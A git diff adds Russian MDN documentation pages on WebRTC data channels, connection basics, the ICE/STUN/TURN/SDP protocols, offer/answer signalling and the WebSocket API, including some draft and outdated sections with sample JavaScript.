 Поскольку все компоненты WebRTC требуют использования кодирования, любые данные, передаваемые через RTCDataChannel автоматически защищаются, используя Datagram Transport Layer Security (DTLS). Смотри {{anch("Security")}}  ниже для подробной информации.

+
+ +

Создание канала данных

+ +

Основной транспорт передачи данных, использующийся объектом типа {{domxref("RTCDataChannel")}} может быть создан двумя способами:

+ + + +

Разберем оба случая, начиная с первого, как с наиболее распространенного.

+ +

Автоматический режим согласования

+ +

Зачастую, разработчик может позволить объекту соединения обработать согласование  {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением false. Это автоматически активирует RTCPeerConnection на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удаленного узла, связывая два узла вместе по сети.

+ +

Вызов метода createDataChannel() немедленно возвращает объект типа RTCDataChannel. Подписываясь на событие  {{domxref("RTCDataChannel.open_event", "open")}} , можно будет точно определить когда соединение успешно откроется.

+ +
let dataChannel = pc.createDataChannel("MyApp Channel");
+
+dataChannel.addEventListener("open", (event) => {
+  beginTransmission(dataChannel);
+});
+
+ +

Ручной режим согласования

+ +

Для ручного согласования соединения, сначала необходимо создать новый объект типа {{domxref("RTCDataChannel")}}, используя метод  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} объекта {{domxref("RTCPeerConnection")}}, определяя свойство  {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} в значение true. Это сигнализирует объекту соединения не пытыться согласовать соединение автоматически.

+ +

Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удаленному узлу, что нужно создать собственный объект типа RTCDataChannel со свойством  negotiated, установленным в значение  true, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа  RTCDataChannel через объет типа RTCPeerConnection.

+ +
let dataChannel = pc.createDataChannel("MyApp Channel", {
+  negotiated: true
+});
+
+dataChannel.addEventListener("open", (event) => {
+  beginTransmission(dataChannel);
+});
+
+requestRemoteChannel(dataChannel.id);
+ +

В данном примере канал создается установкой значения свойства negotiated в true, затем вызывается функция  requestRemoteChannel() , запуская согласование соединения для создания удаленного канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, использьзуя одно и тоже значение идентификатора канала  id.

+ +

Буферизация

+ +

Каналы данных WebRTC поддерживают буферизацию исходящих данных. Это работает автоматически. Несмотря на то, что нет способа контролировать размер буфера, вы можете узнать, сколько данных в настоящее время буферизуется, и вы можете выбрать уведомление о событии, когда в буфере начинают заканчиваться данные в очереди. Это облегчает написание эффективных подпрограмм, которые гарантируют, что всегда есть данные, готовые к отправке, без чрезмерного использования памяти или полного переполнения канала. 

+ +

<<<write more about using bufferedAmount, bufferedAmountLowThreshold, onbufferedamountlow, and bufferedamountlow here>>>

+ +

...

+ +

Ограничения размеров сообщений

+ +

Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определенного значения (точное число зависит от сети и используемого транспортного уровня).  На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.

+ +

Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку usrsctp для реализации SCTP, но все еще существуют ситуации, в которых передача данных по RTCDataChannel каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.

+ +

Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершенными, и доставит их получающему RTCDataChannel каналу в виде нескольких сообщений

+ +

Сообщения размером менее 16 КБ могут отправляться без проблем, поскольку все основные пользовательские агенты обрабатывают их одинаково.

+ +

Проблемы с большими сообщениями

+ +

В настоящее время нецелесообразно использовать RTCDataChannel для сообщений размером более 64 КБ (16 КБ, если вы хотите поддерживать кросс-браузерный обмен данными). Проблема возникает из-за того факта, что SCTP - протокол, используемый для отправки и получения данных по RTCDataChannel - изначально был разработан для использования в качестве протокола сигнализации. Ожидалось, что сообщения будут относительно небольшими. Поддержка сообщений, превышающих размер сетевого уровня {{interwiki ("wikipedia", "Maximum unit unit", "MTU")}}, была добавлена ​​ в качестве запоздалой мысли, в случае, если сигнальные сообщения должны были быть больше, чем MTU. Эта функция требует, чтобы каждый фрагмент сообщения имел последовательные порядковые номера, поэтому они должны передаваться один за другим, без каких-либо других данных, чередующихся между ними.

+ +

В конечном итоге это стало проблемой. Со временем различные приложения (в том числе внедряющие WebRTC) начали использовать SCTP для передачи больших и больших сообщений. В конце концов стало ясно, что когда сообщения становятся слишком большими, передача большого сообщения может блокировать все другие передачи данных в этом канале данных, включая критические сообщения сигнализации.

+ +

Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но еще не реализовано в Chrome (см. Chromium Bug 7774). С поддержкой EOR полезная нагрузка RTCDataChannel может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.

+ +

Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение предложение все еще находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.

+ +

Поддержка Firefox для ndata находится в процессе реализации. Команда Chrome отслеживает реализацию поддержки ndata в Chrome Bug 5696.

+ +
+

Большая часть информации в этом разделе частично основана на блоге Demystifyijng WebRTC's Data Channel Message Size Limitations, написанный Леннартом Гралем. Там он немного подробнее рассказывает, но поскольку браузеры были обновлены с тех пор, некоторые посты могут быть устаревшими. Кроме того, со временем поддержки будет становиться все больше, особенно после того, как EOR и поддержка ndata будут полностью интегрированы в основные браузеры.

+
+ +

Безопасность

+ +

Все данные, переданные с помощью WebRTC, зашифрованы на основе Transport Layer Security (TLS). Поскольку TLS используется для защиты каждого HTTPS-соединения, любые данные, которые вы отправляете по каналу данных, так же безопасны, как и любые другие данные, отправляемые или получаемые браузером пользователя. 

+ +

Поскольку WebRTC является одноранговым соединением между двумя пользовательскими агентами, данные никогда не проходят через веб-сервер или сервер приложений, что снижает возможность перехвата данных.

diff --git a/files/ru/web/api/webrtc_api/webrtc_basics/index.html b/files/ru/web/api/webrtc_api/webrtc_basics/index.html new file mode 100644 index 0000000000..d1a5b5bb61 --- /dev/null +++ b/files/ru/web/api/webrtc_api/webrtc_basics/index.html @@ -0,0 +1,350 @@ +--- +title: Основы WebRTC +slug: Web/API/WebRTC_API/WebRTC_basics +translation_of: Web/API/WebRTC_API/Signaling_and_video_calling +--- +

{{WebRTCSidebar}}

+ +

{{Draft}}

+ +
+

После того, как вы понимаете WebRTC architecture, вы можете прочитать эту статью, которая сопроводит вас через создание кросс-браузерного RTC приложения. К концу этой документации, вы должны иметь рабочие каналы соединения равноправных узлов ЛВС и передачи данных средств массовой информации.

+
+ +

Полу-старое содержание, из

+ +

RTCPeerConnection

+ +

Материал здесь происходит от RTCPeerConnection; она может остаться здесь, или же  может переместится в другое место.

+ +

Основы использования
+ Базовое использование RTCPeerConnection предполагает переговоры связь между локальной машиной и удаленной машиной один генерируя Session Description Protocol для обмена между ними. Вызывающая программа начинает процесс, отправив предложение на удаленное устройство, которое реагирует либо принять или отклонить запрос на соединение.

+ +

Обе стороны (вызывающий и вызываемый абонент) необходимо настроить свои собственные экземпляры RTCPeerConnection, чтобы представить их конец соединения равноправных узлов ЛВС:

+ +
var pc = new RTCPeerConnection();
+pc.onaddstream = function(obj) {
+  var vid = document.createElement("video");
+  document.appendChild(vid);
+  vid.srcObject = obj.stream;
+}
+
+// функция помощник
+function endCall() {
+  var videos = document.getElementsByTagName("video");
+  for (var i = 0; i < videos.length; i++) {
+    videos[i].pause();
+  }
+
+  pc.close();
+
+
+function error(err) {
+  endCall();
+}
+
+ +

При инициализации вызова

+ +

Если вы один инициирующий вызов, вы будете использовать navigator.getUserMedia(), чтобы получить видеопоток, а затем добавить поток в RTCPeerConnection. Как только это было сделано, вызов RTCPeerConnection, чтобы создать предложение, настроить предложение, а затем отправить его на сервер, через  соединение которое было создано.

+ +
// Получить список людей с сервера
+// Пользователь выбирает список людей, чтобы установить соединение с нужным человеком
+navigator.getUserMedia({video: true}, function(stream) {
+  // Добавление локального потока не вызовет onaddstream обратного вызова,
+  // так называют его вручную.
+  pc.onaddstream = e => video.src = URL.createObjectURL(e.stream);
+  pc.addStream(stream);
+
+  pc.createOffer(function(offer) {
+    pc.setLocalDescription(offer, function() {
+      // send the offer to a server to be forwarded to the friend you're calling.
+    }, error);
+  }, error);
+});
+
+ +

Ответ на вызов

+ +

На противоположном конце, друг получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение прибывает, {{domxref ("navigator.getUserMedia ()")}} вновь используется для создания потока, который добавляется к RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.

+ +

Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.

+ +
var offer = getOfferFromFriend();
+navigator.getUserMedia({video: true}, function(stream) {
+  pc.onaddstream = e => video.src = URL.createObjectURL(e.stream);
+  pc.addStream(stream);
+
+  pc.setRemoteDescription(new RTCSessionDescription(offer), function() {
+    pc.createAnswer(function(answer) {
+      pc.setLocalDescription(answer, function() {
+        // send the answer to a server to be forwarded back to the caller (you)
+      }, error);
+    }, error);
+  }, error);
+});
+
+ +

Ответ на вызов

+ +

На противоположном конце, человек получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение принято, navigator.getUserMedia () вновь используется для создания потока, который добавляется к RTCPeerConnection.  объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.

+ +

Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.

+ +
// ПК был создан раньше, когда мы сделали первоначальное предложение
+var offer = getResponseFromFriend();
+pc.setRemoteDescription(new RTCSessionDescription(offer), function() { }, error);
+ +

Old content follows!

+ +

Все, что находится ниже этого пункта,  потенциально устарело. Это по-прежнему находится в стадии рассмотрения  и возможного включения в другие части документации, если они все еще актуальны.

+ +
+

Не используйте примеры на этой странице. Смотрите статью Signaling and video calling для работы, актуальный пример с использованием WebRTC media.

+
+ +

Note

+ +

Due to recent changes in the API there are many old examples that require fixing:

+ + + +

The currently working example is:

+ + + +

Implementation may be inferred from the specification.

+ +

This remainder of this page contains outdated information as noted on bugzilla.

+ +

Shims

+ +

As you can imagine, with such an early API, you must use the browser prefixes and shim it to a common variable.

+ +
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
+ +

RTCPeerConnection

+ +

This is the starting point to creating a connection with a peer. It accepts configuration options about ICE servers to use to establish a connection.

+ +
var pc = new RTCPeerConnection(configuration);
+ +

RTCConfiguration

+ +

The {{domxref("RTCConfiguration")}} object contains information about which TURN and/or STUN servers to use for ICE. This is required to ensure most users can actually create a connection by avoiding restrictions in NAT and firewalls.

+ +
var configuration = {
+    iceServers: [
+        {urls: "stun:23.21.150.121"},
+        {urls: "stun:stun.l.google.com:19302"},
+        {urls: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
+    ]
+}
+ +

Google runs a public STUN server that we can use. I also created an account at http://numb.viagenie.ca/ for a free TURN server to access. You may want to do the same and replace with your own credentials.

+ +

ICECandidate

+ + + +

After creating the PeerConnection and passing in the available STUN and TURN servers, an event will be fired once the ICE framework has found some “candidates” that will allow you to connect with a peer. This is known as an ICE Candidate and will execute a callback function on PeerConnection#onicecandidate.

+ +
pc.onicecandidate = function (e) {
+    // candidate exists in e.candidate
+    if (!e.candidate) return;
+    send("icecandidate", JSON.stringify(e.candidate));
+};
+ +

When the callback is executed, we must use the signal channel to send the Candidate to the peer. On Chrome, multiple ICE candidates are usually found, we only need one so I typically send the first one then remove the handler. Firefox includes the Candidate in the Offer SDP.

+ +

Signal Channel

+ +

Now that we have an ICE candidate, we need to send that to our peer so they know how to connect with us. However this leaves us with a chicken and egg situation; we want PeerConnection to send data to a peer but before that we need to send them metadata…

+ +

This is where the signal channel comes in. It’s any method of data transport that allows two peers to exchange information. In this article, we’re going to use FireBase because it’s incredibly easy to setup and doesn't require any hosting or server-code.

+ +

For now just imagine two methods exist: send() will take a key and assign data to it and recv() will call a handler when a key has a value.

+ +

The structure of the database will look like this:

+ +
{
+    "": {
+        "candidate:": …
+        "offer": …
+        "answer": …
+    }
+}
+ +

Connections are divided by a roomId and will store 4 pieces of information, the ICE candidate from the offerer, the ICE candidate from the answerer, the offer SDP and the answer SDP.

+ +

Offer

+ +

An Offer SDP (Session Description Protocol) is metadata that describes to the other peer the format to expect (video, formats, codecs, encryption, resolution, size, etc etc).

+ +

An exchange requires an offer from a peer, then the other peer must receive the offer and provide back an answer.

+ +
pc.createOffer(function (offer) {
+    pc.setLocalDescription(offer, function() {
+        send("offer", JSON.stringify(pc.localDescription);
+    }, errorHandler);
+}, errorHandler, options);
+ +

errorHandler

+ +

If there was an issue generating an offer, this method will be executed with error details as the first argument.

+ +
var errorHandler = function (err) {
+    console.error(err);
+};
+ +
options
+ +

Options for the offer SDP.

+ +
var options = {
+    offerToReceiveAudio: true,
+    offerToReceiveVideo: true
+};
+ +

offerToReceiveAudio/Video tells the other peer that you would like to receive video or audio from them. This is not needed for DataChannels.

+ +

Once the offer has been generated we must set the local SDP to the new offer and send it through the signal channel to the other peer and await their Answer SDP.

+ +

Answer

+ +

An Answer SDP is just like an offer but a response; sort of like answering the phone. We can only generate an answer once we have received an offer.

+ +
recv("offer", function (offer) {
+    offer = new SessionDescription(JSON.parse(offer))
+    pc.setRemoteDescription(offer);
+
+    pc.createAnswer(function (answer) {
+        pc.setLocalDescription(answer, function() {
+            send("answer", JSON.stringify(pc.localDescription));
+        }, errorHandler);
+    }, errorHandler);
+});
+ +

DataChannel

+ +

I will first explain how to use PeerConnection for the DataChannels API and transferring arbitrary data between peers.

+ +

Note: At the time of this article, interoperability between Chrome and Firefox is not possible with DataChannels. Chrome supports a similar but private protocol and will be supporting the standard protocol soon.

+ +
var channel = pc.createDataChannel(channelName, channelOptions);
+ +

The offerer should be the peer who creates the channel. The answerer will receive the channel in the callback ondatachannel on PeerConnection. You must call createDataChannel() once before creating the offer.

+ +

channelName

+ +

This is a string that acts as a label for your channel name. Warning: Make sure your channel name has no spaces or Chrome will fail on createAnswer().

+ +

channelOptions

+ +
var channelOptions = {};
+ +

Currently these options are not well supported on Chrome so you can leave this empty for now. Check the RFC for more information about the options.

+ +

Channel Events and Methods

+ +
onopen
+ +

Executed when the connection is established.

+ +
onerror
+ +

Executed if there is an error creating the connection. First argument is an error object.

+ +
channel.onerror = function (err) {
+    console.error("Channel Error:", err);
+};
+ +
onmessage
+ +
channel.onmessage = function (e) {
+    console.log("Got message:", e.data);
+}
+ +

The heart of the connection. When you receive a message, this method will execute. The first argument is an event object which contains the data, time received and other information.

+ +
onclose
+ +

Executed if the other peer closes the connection.

+ +

Binding the Events

+ +

If you were the creator of the channel (meaning the offerer), you can bind events directly to the DataChannel you created with createChannel. If you are the answerer, you must use the ondatachannel callback on PeerConnection to access the same channel.

+ +
pc.ondatachannel = function (e) {
+    e.channel.onmessage = function () { … };
+};
+ +

The channel is available in the event object passed into the handler as e.channel.

+ +
send()
+ +
channel.send("Hi Peer!");
+ +

This method allows you to send data directly to the peer! Amazing. You must send either String, Blob, ArrayBuffer or ArrayBufferView, so be sure to stringify objects.

+ +
close()
+ +

Close the channel once the connection should end. It is recommended to do this on page unload.

+ +

Media

+ +

Now we will cover transmitting media such as audio and video. To display the video and audio you must include a <video> tag on the document with the attribute autoplay.

+ +

Get User Media

+ +
<video id="preview" autoplay></video>
+
+var video = document.getElementById("preview");
+navigator.getUserMedia(constraints, function (stream) {
+    video.src = URL.createObjectURL(stream);
+}, errorHandler);
+ +

constraints

+ +

Constraints on what media types you want to return from the user.

+ +
var constraints = {
+    video: true,
+    audio: true
+};
+ +

If you just want an audio chat, remove the video member.

+ +
errorHandler
+ +

Executed if there is an error returning the requested media.

+ +

Media Events and Methods

+ +
addStream
+ +

Add the stream from getUserMedia to the PeerConnection.

+ +
pc.addStream(stream);
+ +
onaddstream
+ +
<video id="otherPeer" autoplay></video>
+
+var otherPeer = document.getElementById("otherPeer");
+pc.onaddstream = function (e) {
+    otherPeer.src = URL.createObjectURL(e.stream);
+};
+ +

Executed when the connection has been setup and the other peer has added the stream to the peer connection with addStream. You need another <video> tag to display the other peer's media.

+ +

The first argument is an event object with the other peer's media stream.

diff --git "a/files/ru/web/api/webrtc_api/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273\321\213/index.html" "b/files/ru/web/api/webrtc_api/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273\321\213/index.html" new file mode 100644 index 0000000000..df618ab083 --- /dev/null +++ "b/files/ru/web/api/webrtc_api/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273\321\213/index.html" @@ -0,0 +1,38 @@ +--- +title: Введение в протоколы WebRTC +slug: Web/API/WebRTC_API/протоколы +translation_of: Web/API/WebRTC_API/Protocols +--- +

{{APIRef("WebRTC")}}{{draft}}

+ +

В этой статье представлены протоколы, поверх которых построен WebRTC API.

+ +

ICE

+ +

Interactive Connectivity Establishment (ICE) "Установка интерактивного подключения" представляет собой каркас, позволяющий вашему веб-браузеру соединяться с узлами. Есть много причин, почему прямое соединение от узла A к узлу B просто не будет работать. Оно должно обойти межсетевые экраны, которые будут препятствовать открытию соединений, дать вам уникальный адрес, если, как в большинстве ситуаций, ваше устройство не имеет публичного IP-адреса, и передавать данные через сервер, если ваш маршрутизатор не позволяет вам напрямую соединяться с узлами. ICE использует некоторые из следующих технических приёмов, описанных ниже, для достижения этой цели:

+ +

STUN

+ +

Session Traversal Utilities for NAT (STUN) (акроним в акрониме) это протокол для нахождения и определения вашего публичного адреса и любых ограничений в вашем маршрутизаторе, которые препятствуют прямому соединению с узлом.

+ +

Клиент отправит запрос к STUN серверу в интернете, который ответит публичным адресом клиента и, доступен ли, или нет, клиент за NAT маршрутизатором.

+ +

An interaction between two users of a WebRTC application involving a STUN server.

+ +

NAT

+ +

Network Address Translation (NAT) используется для того, чтобы дать вашему устройству публичный IP-адрес. Маршрутизатор имеет публичный IP-адрес, а каждое устройство, подключённое к маршрутизатору имеет частный IP-адрес. Запросы будут транслированы от частного IP-адреса устройства к публичному IP-адресу маршрутизатора (с уникальным портом). Таким образом вам не нужен уникальный IP-адрес для каждого устройства, тем не менее, оно может быть обнаружено в интернете.

+ +

Некоторые маршрутизаторы имеют ограничения на то, кто может подключаться к устройствам в сети. Это может означать, что даже если мы имеем публичный IP-адрес, найденный STUN сервером, никто не может создать соединение. В этой ситуации нам нужно обратиться к TURN.

+ +

TURN

+ +

Некоторые маршрутизаторы, использующие NAT применяют ограничение, называемое "Симметричный NAT" (Symmetric NAT). Это означает, что маршрутизатор будет принимать соединения только от узлов, к которым вы ранее подключились.

+ +

Traversal Using Relays around NAT (TURN) предназначен для обхода ограничения "Симметричный NAT" путём открытия соединения с TURN сервером и ретрансляции всей информации через этот сервер. Вы создадите соединение с TURN сервером и сообщите всем узлам слать пакеты этому серверу, которые затем будут переправлены вам. Очевидно, что они приходят с некоторыми накладными расходами, поэтому это используется, только если нет других альтернатив.

+ +

An interaction between two users of a WebRTC application involving STUN and TURN servers.

+ +

SDP

+ +

Session Description Protocol (SDP)  - это стандарт для описания мультимедийного контента соединения,  как например: разрешение, форматы, кодеки, шифрование и т.д. Так, чтобы оба узла могли понять друг друга, после того как данные начнут передаваться. Это, в сущности, метаданные, описывающие содержимое, а не медиа контент сам по себе.

diff --git "a/files/ru/web/api/webrtc_api/\321\201\320\262\321\217\320\267\321\214/index.html" "b/files/ru/web/api/webrtc_api/\321\201\320\262\321\217\320\267\321\214/index.html" new file mode 100644 index 0000000000..7c4f173c05 --- /dev/null +++ "b/files/ru/web/api/webrtc_api/\321\201\320\262\321\217\320\267\321\214/index.html" @@ -0,0 +1,70 @@ +--- +title: WebRTC подключение +slug: Web/API/WebRTC_API/связь +translation_of: Web/API/WebRTC_API/Connectivity +--- +

{{WebRTCSidebar}}{{draft}}

+ +

Теперь, когда мы рассмотрели протоколы по отдельности, мы можем сложить их вместе. Эта статья описывает, как различные связанные с WebRTC протоколы взаимодействуют друг с другом для того, чтобы создать соединение и передать данные и/или медиа между узлами.

+ +
+

Эта страница требует серьёзной переделки для структурной целостности и полноты содержания. Много информации здесь - это хорошо, но организация являет собой путаницу, поскольку сейчас являет собой вид "местности разгрузки"(dumping ground).

+
+ +

Что  такое Предложение/Ответ и Канал сигнализации?

+ +

К сожалению, WebRTC не может создавать соединения без какого-либо сервера посередине. Мы называем его "каналом сигнализации". Это любого рода канал связи для обмена информацией перед установкой соединения, будь то электронная почта, почтовая открытка или почтовый голубь... Зависит от вас.
+  

+ +

Информация, которой мы должны обменяться - это "предложение" и "ответ", которые содержат SDP, упомянутую ниже.

+ +

Узел A, тот кто будет инициатором соединения, создаст "предложение". Затем отправит это "предложение" узлу B, используя выбранный "сигнальный канал". Узел B получит "предложение" от "сигнального канала" и создаст "ответ". Затем отправит его обратно узлу A посредством "сигнального канала".

+ +

Описания сессии

+ +

Конфигурация конечной точки WebRTC-соединения называется "описание сессии"(session description). Описание включает информацию о типе посылаемого медиа, его формате, используемом протоколе передачи, IP-адресе и порте конечной точки, и  другую информацию, необходимую для описания конечной точки передачи медиа. Эта информация обменивается и хранится с помощью "протокола описания сессии". Session Description Protocol({{Glossary("SDP")}}). Если вы хотите подробную информацию о формате данных SDP, вы можете найти её в {{RFC(2327)}}.

+ +

Когда пользователь запускает WebRTC вызов другого пользователя, создаётся специальное описание, называемое "предложение"(offer). Это описание включает всю информацию для соединения, о предлагаемой конфигурации вызывающего абонента. Получатель затем откликается "ответом"(answer), являющимся описанием его конца соединения. Таким образом, оба устройства разделяют друг с другом информацию, необходимую для того, чтобы обмениваться медиа данными. Этот обмен обрабатывается с помощью "интерактивного создания подключения". Interactive Connectivity Establishment{{Glossary("ICE")}}. ICE - протокол, который позволяет двум устройствам использовать посредника для обмена "предложениями"(offers) и "ответами"(answers), даже если эти два устройства разделены механизмом "преобразования сетевых адресов". ({{Glossary("NAT")}}(Network Address Translation).

+ +

Каждый узел, тогда, держит два описания под рукой: локальное описание (local description), описывающее себя и удалённое описание(remote description), описывающее другой конец соединения.

+ +

Процесс "предложение/ответ"(offer/answer) выполняется как, когда соединение впервые устанавливается, так и в любой момент, когда формат соединения или другая конфигурация нуждается в изменении. Независимо от того, является ли это новым соединением, или реконфигурированием существующего, это основные шаги, которые должны произойти для обмена "предложением"(offer) и "ответом"(answer). Пропустим ICE-слой на данный момент:

+ +
    +
  1. Вызывающий вызывает {{domxref("RTCPeerConnection.createOffer()")}} для создания "предложения"(offer)
    2. +
  2. Вызывающий вызывает {{domxref("RTCPeerConnection.setLocalDescription()")}} для установки этого "предложения" как локального описания (то есть описания локального конца соединения).
    3. +
  3. Вызывающий использует сигнальный сервер для передачи "предложения" к требуемому получателю вызова.
    4. +
  4. Получатель получает "предложение" и вызывает {{domxref("RTCPeerConnection.setRemoteDescription()")}} для записи его, как удалённого описания(описания другого конца соединения).
    5. +
  5. Получатель делает всякую настройку, которую должен сделать для его конца соединения, включая добавления исходящих потоков для соединения.
    6. +
  6. Получатель затем создаёт "ответ"(answer) посредством вызова {{domxref("RTCPeerConnection.createAnswer()")}}.
    7. +
  7. Получатель вызывает {{domxref("RTCPeerConnection.setLocalDescription()")}}, чтобы установить "ответ"(answer) в качестве локального описания. Получатель теперь знает конфигурацию обоих концов соединения.
    8. +
  8. Получатель использует сигнальный сервер для отправки "ответа"(answer) вызывающему.
    9. +
  9. Вызывающий получает "ответ"(answer).
    10. +
  10. Вызывающий вызывает {{domxref("RTCPeerConnection.setRemoteDescription()")}} для установки "ответа"(answer) как удалённого описания для его конца соединения. Теперь известна конфигурация обоих узлов. Медиа начинает течь в соответствии с настройками.
    11. +
+ +

Рассматриваемые и текущие описания

+ +

Спускаясь на один шаг глубже в процесс, мы находим, что localDescription и remoteDescription, свойства, возвращаемые эти двумя описаниями, не так просты, как выглядят. Потому что во время повторных переговоров(перезаключения) (renegotiation), "предложение"(offer) может быть отклонено, поскольку оно предлагает несовместимый формат. Необходимо, чтобы каждая конечная точка имела возможность предложить новый формат, но не переключаться на него, пока он не принят другим узлом. По этой причине, WebRTC использует "рассматриваемые" и "текущие" "описания".

+ +

"Текущее описание"(current description) (которое возвращается свойствами {{domxref("RTCPeerConnection.currentLocalDescription")}} и {{domxref("RTCPeerConnection.currentRemoteDescription")}}) представляет собой описание, в данный момент, фактически используемое соединением. Это самое недавнее соединение, которое обе стороны полностью согласились использовать.

+ +

"Рассматриваемое описание"(pending description) (возвращаемое {{domxref("RTCPeerConnection.pendingLocalDescription")}} и {{domxref("RTCPeerConnection.pendingRemoteDescription")}}) указывает на то описание, которое в настоящий момент находится на рассмотрении после вызова setLocalDescription() или setRemoteDescription(), соответственно.

+ +

При чтении описания (возвращаемого {{domxref("RTCPeerConnection.localDescription")}} и {{domxref("RTCPeerConnection.remoteDescription")}}), возвращаемым значением является значение pendingLocalDescription/pendingRemoteDescription, если есть рассматриваемое описание (то есть, рассматриваемое описание не null). В противном случае, возвращается текущее описание (currentLocalDescription/currentRemoteDescription).

+ +

При изменении описания путём вызова setLocalDescription() или setRemoteDescription(), указанное описание устанавливается как "рассматриваемое описание"(pending description), и WebRTC-слой начинает оценивать, действительно ли это приемлемо. После того, как предложенное описание было согласовано, значение currentLocalDescription или currentRemoteDescription изменяется на "рассматриваемое описание"(pending description), и pending description устанавливается снова в null, указывая, что "отложенного описания"(pending description) не существует.

+ +
+

pendingLocalDescription содержит не только "предложение" или "ответ" на стадии рассмотрения, но и каких-либо ICE-кандидатов, которые уже были собраны с тех пор, как "предложение" или "ответ" были созданы. Подобным образом, pendingRemoteDescription включает любых удалённых ICE-кандидатов, которые были предоставлены вызовами {{domxref("RTCPeerConnection.addIceCandidate()")}}.

+
+ +

Смотрите отдельные статьи по этим свойствам и методам для большей конкретики.

+ +

Что такое ICE-кандидат?

+ +

В дополнение к обмену информацией о медиа(обсуждённой выше в offer/answer и SDP), узлы должны обменяться информацией о сетевом соединении. Об этом известно как о ICE-кандидате и деталях доступных методов, которыми узел может общаться (непосредственно или через TURN-сервер).

+ +

Весь обмен в сложной схеме

+ +

A complete architectural diagram showing the whole WebRTC process.

diff --git a/files/ru/web/api/websocket/index.html b/files/ru/web/api/websocket/index.html new file mode 100644 index 0000000000..ab46ff35dc --- /dev/null +++ b/files/ru/web/api/websocket/index.html @@ -0,0 +1,281 @@ +--- +title: WebSocket +slug: Web/API/WebSocket +tags: + - API + - WebSocket + - WebSockets +translation_of: Web/API/WebSocket +--- +

Объект WebSocket предоставляет API для создания и управления вебсокет-подключения к серверу, а также для отправки и получения данных в этом подключении.

+ +

Конструктор WebSocket принимает один обязательный и один опциональный параметр:

+ +
WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+
+ +
+
url
+
URL-адрес к которому подключаться; сервер по этому адресу должен ответить на websocket-запрос.
+
protocols {{ optional_inline() }}
+
Протокол в виде строки или массив строк протоколов. Эти строки используются для определения подпротоколов клиента, т.к. один сервер может поддерживать несколько WebSocket-подпротоколов (например, вы можете захотеть, чтобы один сервер мог обрабатывать разные типы взаимодействия в зависимости от указанного протокола).  Если вы не укажете значение протокола, по умолчанию будет использоваться пустая строка.
+
+ +

Конструктор может выбросить исключение:

+ +
+
SECURITY_ERR
+
Порт, на который устанавливается подключение заблокирован.
+
+ +
+
+ +

Обзор метода

+ + + + + + + + + + +
void close(in optional unsigned long code, in optional DOMString reason);
void send(in DOMString data);
+ +

Аттрибуты

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
АттрибутТипОписание
binaryType{{ DOMXref("DOMString") }}Строка, указывающая на тип двоичных данных, которые будут переданы по соединению. Это может быть "blob" если будут использованы {{ domxref("Blob") }} объекты или "arraybuffer" если будут использованы объекты ArrayBuffer 
